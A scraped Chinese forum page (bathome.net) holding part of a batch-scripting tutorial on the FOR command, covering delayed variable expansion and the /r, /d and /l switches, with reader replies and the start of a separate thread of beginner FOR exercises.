    顺便说一下，运行代码[code20]之后，将在屏幕上显示当前目录下有多少个exe文件，是否存在含有 test 字符串的文本文件，以及是否存在 test.ini 这个文件等信息。让很多人百思不得其解的是：如果当前目录下存在exe文件，那么，有多少个exe文件，屏幕上就会提示多少次 "num 当前的值是 0" ，而不是显示1到N（N是exe文件的个数）。

    结合上面两个例子，我们再来分析一下，为什么这两段代码的执行结果和我们的期望有一些差距。

    在[code19]中，set num=0&&echo %num%是一条复合语句，它的含义是：把0赋予变量num，成功后，显示变量num的值。

    虽然是在变量num被赋值成功后才显示变量num的值，但是，因为这是一条复合语句，在预处理的时候，&&后的%num%只能被set语句之前的语句赋予变量num的具体值来替换，而不能被复合语句内部、&&之前的set语句对num所赋予的值来替换，可见，此num非彼num。可是，在这条复合语句之前，我们并没有对变量num赋值，所以，&&之后的%num%是空值，相当于在&&之后只执行了 echo 这一命令，所以，会显示 echo 命令的当前状态，而不是显示变量num的值（虽然该变量的值被set语句改变了）。

    在[code20]中，for语句的含义是：列举当前目录下的exe文件，每发现一个exe文件，变量num的值就累加1，并显示变量num的值。

    看了对[code19]的分析之后，再来分析[code20]就不再那么困难了：第3、4、5行上的代码共同构成了一条完整的for语句，而语句"echo num 当前的值是 %num%"与"set /a num+=1"同处复合语句for的内部，那么，第4行上set改变了num的值之后，并不能对第5行上的变量num有任何影响，因为在预处理阶段，第5行上的变量引用%num%已经被在for之前就赋予变量num的具体值替换掉了，它被替换成了0（是被第2行上的set语句赋予的）。

    如果想让代码[code19]的执行结果中显示&&之前赋予num的值，让代码[code20]在列举exe文件的时候，从1到N地显示exe文件的数量，那又该怎么办呢？

    对代码[code19]，可以把用&&连接复合语句拆分为两条单独的语句，写成：
  1. @echo off

  2. set num=0

  3. echo %num%

  4. pause
复制代码
    但是，这不是我们这次想要的结果。

    对这两段代码都适用的办法是：使用变量延迟扩展语句，让变量的扩展行为延迟一下，从而获取我们想要的值。

    在这里，我们先来充下电，看看“变量扩展”有是怎么一回事。

    用CN-DOS里批处理达人willsort的原话，那就是：“在许多可见的官方文档中，均将使用一对百分号闭合环境变量以完成对其值的替换行为称之为“扩展（expansion）”，这其实是一个第一方的概念，是从命令解释器的角度进行称谓的，而从我们使用者的角度来看，则可以将它看作是引用（Reference）、调用（Call）或者获取（Get）。”（见：什么情况下该使用变量延迟？http://www.cn-dos.net/forum/viewthread.php?tid=20733）说得直白一点，所谓的“变量扩展”，实际上就是很简单的这么一件事情：用具体的值去替换被引用的变量及紧贴在它左右的那对百分号。

    既然只要延迟变量的扩展行为，就可以获得我们想要的结果，那么，具体的做法又是怎样的呢？

    一般说来，延迟变量的扩展行为，可以有如下选择：

    1、在适当位置使用 setlocal enabledelayedexpansion 语句；
    2、在适当的位置使用 call 语句。

    使用 setlocal enabledelayedexpansion 语句，那么，[code19]和[code20]可以分别修改为：
  1. @echo off

  2. setlocal enabledelayedexpansion

  3. set num=0&&echo !num!

  4. pause
复制代码
  1. @echo off

  2. set num=0

  3. setlocal enabledelayedexpansion

  4. for /f %%i in ('dir /a-d /b *.exe') do (

  5.     set /a num+=1

  6.     echo num 当前的值是 !num!

  7. )

  8. echo 当前目录下共有 %num% 个exe文件

  9. dir /a-d /b *.txt|findstr "test">nul&&(

  10.     echo 存在含有 test 字符串的文本本件

  11. )||echo 不存在含有 test 字符串的文本文件

  12. if exist test.ini (

  13.     echo 存在 test.ini 文件

  14. ) else echo 不存在 test.ini 文件

  15. pause
复制代码
    使用第call语句，那么，[code19]和[code20]可以分别修改为：
  1.

  2. @echo off

  3. set num=0&&call echo %%num%%

  4. pause
复制代码
  1.

  2. @echo off

  3. set num=0

  4. for /f %%i in ('dir /a-d /b *.exe') do (

  5.     set /a num+=1

  6.     call echo num 当前的值是 %%num%%

  7. )

  8. echo 当前目录下共有 %num% 个exe文件

  9. dir /a-d /b *.txt|findstr "test">nul&&(

  10.     echo 存在含有 test 字符串的文本本件

  11. )||echo 不存在含有 test 字符串的文本文件

  12. if exist test.ini (

  13.     echo 存在 test.ini 文件

  14. ) else 不存在 test.ini 文件

  15. pause
复制代码
    由此可见，如果使用 setlocal enabledelayedexpansion 语句来延迟变量，就要把原本使用百分号对闭合的变量引用改为使用感叹号对来闭合；如果使用call语句，就要在原来命令的前部加上 call 命令，并把变量引用的单层百分号对改为双层。 其中，因为call语句使用的是双层百分号对，容易使人犯迷糊，所以用得较少，常用的是使用 setlocal enabledelayedexpansion 语句（set是设置的意思，local是本地的意思，enable是能够的意思，delayed是延迟的意思，expansion是扩展的意思，合起来，就是：让变量成为局部变量，并延迟它的扩展行为）。

    通过上面的分析，我们可以知道：

    1、为什么要使用变量延迟？因为要让复合语句内部的变量实时感知到变量值的变化。
    2、在哪些场合需要使用变量延迟语句？在复合语句内部，如果某个变量的值发生了改变，并且改变后的值需要在复合语句内部的其他地方被用到，那么，就需要使用变量延迟语句。而复合语句有：for语句、if……else语句、用连接符&、||和&&连接的语句、用管道符号|连接的语句，以及用括号括起来的、由多条语句组合而成的语句块。最常见的场合，则是for语句和if……else语句。
    3、怎样使用变量延迟？
    方法有两种：
    ① 使用 setlocal enabledelayedexpansion 语句：在获取变化的变量值语句之前使用setlocal enabledelayedexpansion，并把原本使用百分号对闭合的变量引用改为使用感叹号对来闭合；
    ② 使用 call 语句：在原来命令的前部加上 call 命令，并把变量引用的单层百分号对改为双层。

    “变量延迟”是批处理中一个十分重要的机制，它因预处理机制而生，用于复合语句，特别是大量使用于强大的for语句中。只有熟练地使用这一机制，才能在for的世界中如鱼得水，让自己的批处理水平更上一层楼。很多时候，对for的处理机制，我们一直是雾里看花，即使偶有所得，也只是只可意会难以言传。希望大家反复揣摩，多加练习，很多细节上的经验，是只有通过大量的摸索才能得到的。Good Luck！

    本节内容在原理上参考了这篇文章：什么情况下该使用变量延迟？http://www.cn-dos.net/forum/viewthread.php?tid=20733，在本论坛中的地址是：http://bbs.bathome.net/viewthread.php?tid=2899

    特别鸣谢：willsort。
1

评分人数

    • 白鹤隐云: 感谢分享技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
6楼
发表于 2008-10-16 21:11 | 只看该作者
四、翻箱倒柜遍历文件夹：for /r

    （一）for /r 的作用及用法

    按照帮助信息里文绉绉的说法，for /r 的作用是“递归”，我们换一个通俗一点的，叫“遍历文件夹”。

    更详细的解释就是：在下面的语句中，如果“元素集合”中只是一个点号，那么，这条语句的作用就是：列举“目录”及其之下的所有子目录，对这些文件夹都执行“命令语句集合”中的命令语句。其作用与嵌套进 for /f 复合语句的 "dir /ad /b /s 路径" 功能类似。如果省略了“目录”，将在当前目录下执行前面描述的操作。
for /r 目录 %%i in (元素集合) do 命令语句集合

    先来个代码增强一下印象：
[code21]
  1. @echo off

  2. for /r d:\test %%i in (.) do echo %%i

  3. pause
复制代码
    执行的结果如下所示：
d:\test\.
d:\test\1\.
d:\test\2\.
d:\test\3\.

    效果就是显示 d:\test 目录及其之下是所有子目录的路径，其效果与 dir /ad /b /s d:\test 类似。若要说到两者的区别，可以归纳出3点：

    1、for /r 列举出来的路径最后都带有斜杠和点号，而 dir 语句则没有，会对获取到的路径进行进一步加工产生影响；
    2、for /r 不能列举带隐藏属性的目录，而 dir 语句则可以通过指定 /a 后面紧跟的参数来获取带指定属性的目录，更加灵活；
    3、若要对获取到的路径进行进一步处理，则需要把 dir 语句放入 for /f 语句中进行分析，写成 for /f %%i in ('dir /ad /b /s') do …… 的形式；由于 for /r 语句是边列举路径边进行处理，所以，在处理大量路径的时候，前期不会感到有停顿，而 for /f 语句则需要等到 dir /ad /b /s 语句把所有路径都列举完之后，再读入内存进行处理，所以，在处理大量路径的时候，前期会感到有明显的停顿。

    第2点差别很容易被大家忽视，导致用 for /r 列举路径的时候会造成遗漏；而第3点则会让大家有更直观的感受，很容易感觉到两者之间的差别。

    要是“元素集合”不是点号呢？那又如何？

    来看看这个代码：
[code22]
  1. @echo off

  2. for /r d:\test %%i in (a b c) do echo %%i

  3. pause
复制代码
    运行的结果是：
D:\test\1\a
D:\test\1\b
D:\test\1\c
D:\test\2\a
D:\test\2\b
D:\test\2\c
D:\test\3\a
D:\test\3\b
D:\test\3\c

    原来，它的含义是：列举 d:\test 及其所有的子目录，对所有的目录路径都分别添加a、b、c之后再显示出来。

    再来看一个代码：
[code23]
  1. @echo off

  2. for /r d:\test %%i in (*.txt) do echo %%i

  3. pause
复制代码

    运行结果是：
D:\test\test.txt
D:\test\1\1.txt
D:\test\1\2.txt
D:\test\2\a.txt
D:\test\2\b.txt
D:\test\3\1.txt

    这段代码的含义是：列举 d:\test 及其所有子目录下的txt文本文件（以.txt结尾的文件夹不会被列出来）。

    我们再回过头来归纳一下这个语句的作用：
for /r 目录 %%i in (元素集合) do 命令语句集合

    上面语句的作用是：

    1、列举“目录”及该目录路径下所有子目录，并把列举出来的目录路径和元素集合中的每一个元素拼接成形如“目录路径\元素”格式的新字符串，然后，对每一条这样的新
字符串执行“命令语句集合”中的每一条命令；
    特别的是：当“元素集合”带以点号分隔的通配符?或*的时候，把“元素集合”视为文件（不视为文件夹），整条语句的作用是匹配“目录”所指文件夹及其所有子文件夹下
匹配的文件；若不以点号分隔，则把“元素集合”视为文件夹（不视为文件）；
    2、当省略掉“目录”时，则针对当前目录；
    3、当元素集合中仅仅是一个点号的时候，将只列举目录路径；

    （二）for /r 还是 dir /ad /b /s？列举目录时该如何选择

    前面已经说过，当列举目录时，for /r 和 dir /ad /b /s 的效果是非常类似的，这就产生了一个问题：当我要获取目录路径并进行进一步处理的时候，两者之间，我该如何选择？

    这个问题，前面其实已经有过一些讨论，现在我们再来作详细的分析。

    我们来看一下两者各自的优缺点：

    1、for /r：

        1）优点：

        ① 只通过1条语句就可以同时实现获取目录路径和处理目录路径的操作；
        ② 遍历文件夹的时候，是边列举边处理的，获取到一条路径就处理一条路径，内存占用小，处理大量路径的时候不会产生停顿感；

        2）缺点：

        ① 不能获取到带隐藏属性的目录，会产生遗漏；
        ② 不能获取带指定属性的目录

    2、dir /ad /s：

        1）优点：

        ① 能一次性获取带任意属性的目录，不会产生遗漏；
        ② 能通过指定不同的参数获取带任意属性的目录，更具灵活性。

        2）缺点：

        ① dir /ad /s 语句仅能获取到目录路径，若要实现进一步的处理，还需要嵌入 for /f 语句中才能实现，写法不够简洁；
        ② 嵌入 for /f 语句之后，需要写成 for /f "delims=" %%i in ('dir /ad /b /s') do …… 的格式，受 for /f 语句运行机制的制约，需要先列举完所有的路径放入内存之后，才能对每一条路径进行进一步的处理，处理大量路径时，内存占用量偏大，并且在前期会产生明显的停顿感，用户体验度不够好；

    综合上述分析，可以做出如下选择：

    1、若仅仅是为了获取某文件夹及其所有子文件夹的路径的话，请选择 dir /ad /b /s 语句；
    2、若需要过滤带隐藏属性的文件夹的话，for /r 和 dir 语句都可以实现，但 for /r 内存占用小，处理速度快，是上上之选；
    3、若需要获取所有文件夹，则除了 dir /ad /b /s 外，别无选择，因为 for /r 语句会遗漏带隐藏属性的文件夹；

    在实际的使用中，我更喜欢使用 for /f 和 dir 的组合，因为它不会产生遗漏，并能给我带来更灵活的处理方式，唯一需要忍受的，就是它在处理大量路径时前期的停顿感，以及在这背后稍微有点偏高的内存占用；在我追求速度且可以忽略带隐藏属性的目录的时候，我会换用 for /r 的方案，不过这样的情形不多——有谁会愿意为了追求速度而容忍遗漏呢？
1

评分人数

    • red88: 知识写得简单明了，十分感谢呀！技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
7楼
发表于 2008-10-16 21:11 | 只看该作者
本帖最后由 Hello123World 于 2011-9-18 13:24 编辑

五、仅仅为了匹配第一层目录而存在：for /d

    for /d 中 /d ，完整的含义是 /directory，本意是为了处理文件夹，它的完整语句应该是这样的：
for /d %%i in (元素集合) do 命令语句集合

    当“元素集合”中包含有通配符?或*时，它会匹配文件夹，但是，相比 for /r 而言，这个时候的for /d，其作用就小得可怜了：它仅能匹配当前目录下的第一级文件夹，或是指定位置上的文件夹，而不能匹配更深层次的子文件夹。

    例如：for /d %%i in (d:\test*) do echo %%i 这样的语句 ，会匹配到形如：d:\test、d:\test1、d:\test2之类的文件夹，若不存在这样的路径，将不会有任何回显。

    当“元素集合”中不包含任何的通配符时，它的作用和 "for %%i in (元素集合) do 命令语句集合" 这样的语句别无二致。

    因此，for /d 的角色就变得很微妙了：当“元素集合”中包含通配符?或*时，它的作用就是匹配文件夹，此时，它仅能匹配当前目录下的第一级文件夹，或是指定位置上的文件夹，在层次深度上不及 for /r，但和 for /r 一样的坏脾气：不能匹配带隐藏属性的文件夹；在灵活性上不及for /f和dir的组合；当“元素集合”中不包含任何统配符的时候，它完全是 "for %%i in (元素集合) do ……" 语句的翻版，但是又稍显复杂。

    for /d 的作用是如此有限，我使用的次数是如此之少，以至于我一度找不到它的用武之地，认为它食之无味，弃之可惜，完全是鸡肋一块。

    某年某月，我在cmd窗口里写下了这样的代码：
[code24]
  1. for /d %i in (test*) do @echo %i
复制代码
    我的本意是想查看在我的临时目录下，长年累月的测试工作到底建立了多少测试文件夹，以便我随后把echo换成rd删除之。这个时候，我发现这条代码是如此的简洁，是 for /r 或 for和 dir /ad /b 的组合所无法替代的（echo换成rd就可以直接删除掉这些测试目录）。

    简洁的代码给我带来的喜悦仅仅持续了短短10几秒的时间，我便开始了迷惘——能用到for /d的类似情形，貌似少之又少且乏善可陈啊。

（hello123world注：正如qzwqzw所言，for /r /d是可以一起使用的；【在for有限的4个参数中，据我所知只有/r /d可以一起使用】。
例如：
  1. @echo off

  2. For /r /d %%i in (*) do echo %%i

  3. pause>nul
复制代码
效果：
显示当前目录下所有的文件夹【包括子文件夹】；等价于 "dir /ad /s /b"。

for /r /d 其实是对 /d 参数的扩展，/d参数本身只能处理第一层文件夹，但是加上/r参数后就可以处理所有的子文件夹；
for /r /d依然不能处理隐藏文件夹。
这里给出使用for /r /d的一般条件：
1.要对文件夹进行操作（dir /ad /s /b可以显示，但不能对文件夹进行操作）；
2.不处理隐藏文件夹（说到底，还是for /f 和dir结合的命令更强大些）。
）
2

评分人数

    • Hello123World: 毕竟是2年前的老帖，值得原谅技术 + 1
    • qzwqzw: 如果你知道for /d是可以和/r联用，你还觉得 ...技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
8楼
发表于 2008-10-16 21:11 | 只看该作者
六、计数循环：for /l

    /l者，/loop的缩写是也，从鸟语翻译过来，loop就是循环的意思。实际上，所有的for语句，都可以看成是一种“循环”，只是在/l中，特指按照指定次数进行循环罢了。

    for /l 语句的完整格式是这样的：for /l %%i in (x,y,z) do (……)，在这个语句中，x、y和z都只能取整数，正负皆可，x指代起始值，y指代步长，z为终止值，具体含义为：从x开始计数，以y为步长，直至最接近z的那个整数值为止，这之间有多少个数，do后的语句就执行多少次。

    举个具体的例子：
[code25]
  1. for /l %%i in (1,2,10) do echo bathome
复制代码
    在以上的代码中，初始值是1，步长为2，终止值为10，表明计数从1开始，每隔2个数计算一次，直至最接近10的那个整数，罗列出来，就是1,3,5,7,9，再下一个就是11，超过10了，不再计算在内，所以，do后的语句只执行5次，将连续显示5个bathome。

    实际上，x，y和z的值可正可负，甚至为0，限制非常宽松：

    1、步长y的值不能为0；
    2、当步长y的值为正整数时，终止值z不能小于初始值x；
    3、当步长y的值为负整数的时候，终止值z不能大于初始值x。

    换而言之，必须保证in和do之间能取到一个有效的数组序列。

    例如：
[code26]
  1. for /l %%i in (-1,2,5) do echo bathome
复制代码
[code27]
  1. for /l %%i in (5,-2,-1) do echo bathome
复制代码
    以上两条代码的功能完全一样，都将显示4次bathome，区别就在于[code26]是正序计算，而[code27]是逆序计数而已。

    以下几条代码都是有问题的：
[code28]
  1. for /l %%i in (1,0,1) do echo bathome
复制代码
[code29]
  1. for /l %%i in (2,1,1) do echo bathome
复制代码
[code30]
  1. for /l %%i in (1,-1,2) do echo bathome
复制代码
    其中，[code28]违反了步长不能为0的限制，将陷入无限循环中；[code29]和[code30]都犯了同样的错误：无法获得有效的数列元素，导致in和do之间取到的值为空元素，从而使得整条for语句无从执行。

    当大家明白了 for /l 的具体功能之后，是否会想到了与它有异曲同工之妙的goto循环语句呢？似乎，for /l 和 goto 循环语句可以相互替换？

    一般而言，for /l语句可以换成goto循环，但是，goto循环并不一定能被 for /l 语句替换掉。具体原因，请大家仔细想想，我在此不再详细解说，只是就大家非常关心的一个问题提供一个简洁的答案，那就是：什么时候该用 for /l 计数循环，而什么时候又该用goto条件循环？

    答案非常简单：当循环次数确定的时候，首选 for /l 语句，也可使用goto语句但不推荐；当循环次数不确定的时候，用goto语句将是唯一的选择，因为，这个时候需要用if之类的条件语句来判断何时结束goto跳转。

[ 本帖最后由 namejm 于 2010-12-25 02:02 编辑 ]
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
9楼
发表于 2008-10-16 21:12 | 只看该作者
    后记：

    当Windows为我们打开了五彩缤纷的图形窗口的时候
    DOS命中注定会陨落
    CMD毫无悬念将萎缩
    批处理逐渐趋向无声无息
    而powershell的到来，无疑会让更多的人忘记批处理
    这是一门即将失传的技艺
    这是一块行将就木的领域
    然而，命令行工具仍然具有批量处理一切的巨大威力
    字符界面仍然是高效操作的代名词
    曾为批处理的方便灵活而击节赞赏
    曾被批处理的简洁快速深深折服
    一直以来，总想为批处理的推广做些什么
    于是，从在CN-DOS里尽职尽责地为大家解答疑问，到创办了自己的论坛专职答疑解惑，再到无怨无悔地码字写教程，一步步走来，喜怒哀愁，五味杂陈
    直至如今辞去站长等一切管理职务，逐渐淡出批处理圈子
    梦依旧在，只是，心有余而力渐有不足
    这篇从入门到精通的教学帖，从2008年10月开贴到现在，不知不觉拖拖拉拉竟然过去了两年有余
    每每看到跟帖的会员在问什么时候有更新
    心中总有一丝愧疚
    今天，终于抽空对它做个了断
    只是，年年岁岁花相似，岁岁年年人不同
    繁杂的事务使我已不再有当初的心境
    for /l 部分总有虎头蛇尾的感觉
    只能向各位说声抱歉了
    在我彻底淡出批处理圈子之前
    我只能尽我所能地向各位倾我所学了
    最后，我希望论坛的管理人员能按照顶楼的管理提示经常为这个帖子抽抽水
    或者是为了大家阅览的方便而永久锁定这个帖子

[ 本帖最后由 namejm 于 2010-12-25 02:00 编辑 ]
1

评分人数

    • salad: namejm深入浅出地阐述了bat技术 + 1
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
10楼
发表于 2008-10-16 21:12 | 只看该作者
占位编辑
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
11楼
发表于 2008-10-16 23:30 | 只看该作者
期待能学到更多知识
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

newdosuser
  • 发短消息
  • 加为好友

newdosuser 当前离线

UID
5870
帖子
9
精华
0
积分
192
PB
192
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2008-10-24
最后登录
2008-10-27

二级士官

帖子
9
积分
192
技术
0
捐助
0
注册时间
2008-10-24
12楼
发表于 2008-10-25 10:12 | 只看该作者
怎么没了,真看得好呢
回复 引用

评分 报告 TOP

AK47
  • 发短消息
  • 加为好友

AK47 当前离线

UID
4980
帖子
104
精华
0
积分
730
PB
727
技术
1
捐助
0
阅读权限
30
在线时间
44 小时
注册时间
2008-9-15
最后登录
2009-6-1

少尉

帖子
104
积分
730
技术
1
捐助
0
注册时间
2008-9-15
13楼
发表于 2008-10-25 22:34 | 只看该作者
通俗易懂!非常谢谢楼主
不管黑猫白猫，会捉老鼠的猫就是好猫！
回复 引用

评分 报告 TOP

zhan5257
  • 发短消息
  • 加为好友

zhan5257 当前离线

UID
5921
帖子
15
精华
0
积分
334
PB
334
技术
0
捐助
0
阅读权限
20
在线时间
14 小时
注册时间
2008-10-25
最后登录
2008-11-25

五级士官

帖子
15
积分
334
技术
0
捐助
0
注册时间
2008-10-25
14楼
发表于 2008-10-26 06:30 | 只看该作者
对新手来说真的是太好了。谢谢
有些缘分是注定要失去的
回复 引用

评分 报告 TOP

loveruixue
  • 发短消息
  • 加为好友

loveruixue 当前离线

UID
5907
帖子
8
精华
0
积分
198
PB
198
技术
0
捐助
0
阅读权限
20
在线时间
10 小时
注册时间
2008-10-25
最后登录
2008-11-8

二级士官

帖子
8
积分
198
技术
0
捐助
0
注册时间
2008-10-25
15楼
发表于 2008-10-31 16:12 | 只看该作者
for %%a in ("1.txt" "2.txt" "3.txt") do echo >%%a
回复 引用

评分 报告 TOP

1 2 3 4 5 6 7 8 9 10 ... 35 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:30, Processed in 0.069031 second(s), 8 queries, Gzip enabled.


批处理for命令应用入门与进阶训练

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? 新手练功 ? 批处理for命令应用入门与进阶训练（2011年8月3日更新）
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 8 9 10 ... 22 下一页
返回列表 回复 发帖
youxi01
  • 发短消息
  • 加为好友

youxi01 当前离线

UID
2
帖子
962
精华
3
积分
2416
PB
2359
技术
29
捐助
0
阅读权限
254
在线时间
1346 小时
注册时间
2007-10-25
最后登录
2017-6-24

荣誉版主

帖子
962
积分
2416
技术
29
捐助
0
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-1-3 22:24 | 只看该作者

批处理for命令应用入门与进阶训练（2011年8月3日更新）

本帖最后由 cjiabing 于 2011-9-25 23:56 编辑

第一套：
为加快新手对for命令的入门,特编制本套"试题"（可以将答案作为回帖）
1、批处理运行窗口显示1~100 这100 个数字；
2、批处理运行窗口显示 1、3、5.....99这50个数字；

3、将 bbs bathome.net （在同一行）分成三行显示在批处理运行窗口；
4、先将以下内容保存到F:\test.txt
  1. 1      2        3

  2. 4      5        6

  3. 7      8        9
复制代码
①将f:\test.txt内容全部显示在批处理窗口；
②只显示 2 5 8显示在批处理窗口（分三行显示，每字一行）
————————————————————————————————————
第二套：（2011年8月3日更新）
目的：针对for命令的入门与进阶的配套练习，以掌握for命令的参数为主，兼以考察新手对FOR的综合应用和对FOR中的变量延迟的了解。
要求：回帖答案请注明是哪道题。不懂变量延迟和多层嵌套的可搜索论坛相关帖子。B7题可以选做，只是用来考察FOR思想。

B1、分行显示李白的古诗《静夜思》：“床前明月光 疑是地上霜 举头望明月 低头思故乡”
B2、搜索系统盘（如C:\）下包含字符“mplayer”的所有文件（系统播放器），并分别显示路径名、文件名和后缀名。
B3、显示递减数列：100、98、96、……、4、2、0，并求和。
B4、从句子中提取“荡妇大游行”这个词：“穿了裙子，不等于说可以。”加拿大警察的“如果不想被强奸，就不要把自己打扮得像荡妇”言论引发了世界性的抗议。7月31日，继加拿大、美国、英国、澳大利亚、巴西、荷兰、韩国之后，印度新德里也举行了“荡妇大游行”。
B5、由“ipconfig”命令获得网络配置信息，请提取 IP 地址“192.168.1.100”。也可将以下内容保存为文本进行。
  1. Ethernet adapter 本地连接:

  2.         Connection-specific DNS Suffix  . :

  3.         IP Address. . . . . . . . . . . . : 192.168.1.100

  4.         Subnet Mask . . . . . . . . . . . : 255.255.255.0

  5.         Default Gateway . . . . . . . . . : 192.168.1.1

  6. ::由ipconfig命令获得以上网络配置信息，请提取 IP 地址。
复制代码

B6、提取指定行。系统播放器wmplayer目录中有一文本eula.txt（路径：C:\Program Files\Windows Media Player\eula.txt），其中有一段内容如下：
  1. 13. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. You can recover from Microsoft and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.
复制代码

请将以上这段内容提取出来。
如果找不到该文件，请在 C:\Program Files\ 目录下自己建一个，当然，文本内容至少应该有十行以上，并将这段内容放到文本中间。
B7、【选做】有一文本123.txt，内容如下：
  1. 3

  2. 4

  3. 5

  4. 6

  5. 7

  6. 9

  7. 9

  8. 9

  9. 10

  10. 10
复制代码

请用批处理表示以上数字的关系：将类似“3、4、5、6、7”递增关系的数字组合设为“顺子”；将类似“9、9、9、10、10”由三个相同的数字与另外两个相同的数字组成的数字关系设为“三带二”。
可以用后面这组数字加以验证你的代码：3、3、4、4、4、5、6、7、7、7、7。

提示：
B1：无参数的FOR的应用。
B2：FOR /R 与批处理参数的应用。
B3、FOR /L 的应用。
B4、FOR /F 的选项 Tokens和Delims的应用，FOR对列的处理。
B5、FOR /F 参数的综合应用。不限制思路，稍难。
B6、FOR /F 的选项Usebackq的应用，及FOR对行的提取。只能使用FOR解题，具体思路不限。
B7、FOR 与变量延迟。来自批处理斗地主游戏中对符合规则的牌的分析。较难，选做。
答案在19页271楼
————————————————————————————————————
第三套：拓展应用
C1、从下列命令行中提出路径“C:\WINDOWS\system32\cmd.exe”，不要双引号：
cmd /c ""C:\WINDOWS\system32\cmd.exe" /f" 280
C2、显示10秒倒计时。这个在其他地方有了，可以不做。
C3、
编辑中，有空完善……
————————————————————————————————————
要求：请用code标签把代码部分首尾括起来。

Q: 如何用code把代码扩起来？
A: http://bbs.bathome.net/thread-404-1-1.html

参考：批处理之家论坛使用常见问题FAQ
http://bbs.bathome.net/thread-3473-1-1.html
————————————————————————————————————
参考内容：
[ 原创 ] [系列教程]批处理for语句从入门到精通[20101225更新]
收藏 分享
回复 引用

评分 报告

awuxixi
  • 发短消息
  • 加为好友

awuxixi 当前离线

UID
383
帖子
10
精华
0
积分
178
PB
178
技术
0
捐助
0
阅读权限
20
来自
广东
在线时间
22 小时
注册时间
2008-1-23
最后登录
2008-4-13

二级士官

帖子
10
积分
178
技术
0
捐助
0
注册时间
2008-1-23
2楼
发表于 2008-1-23 17:46 | 只看该作者
1、批处理运行窗口显示1~100 这100 个数字；
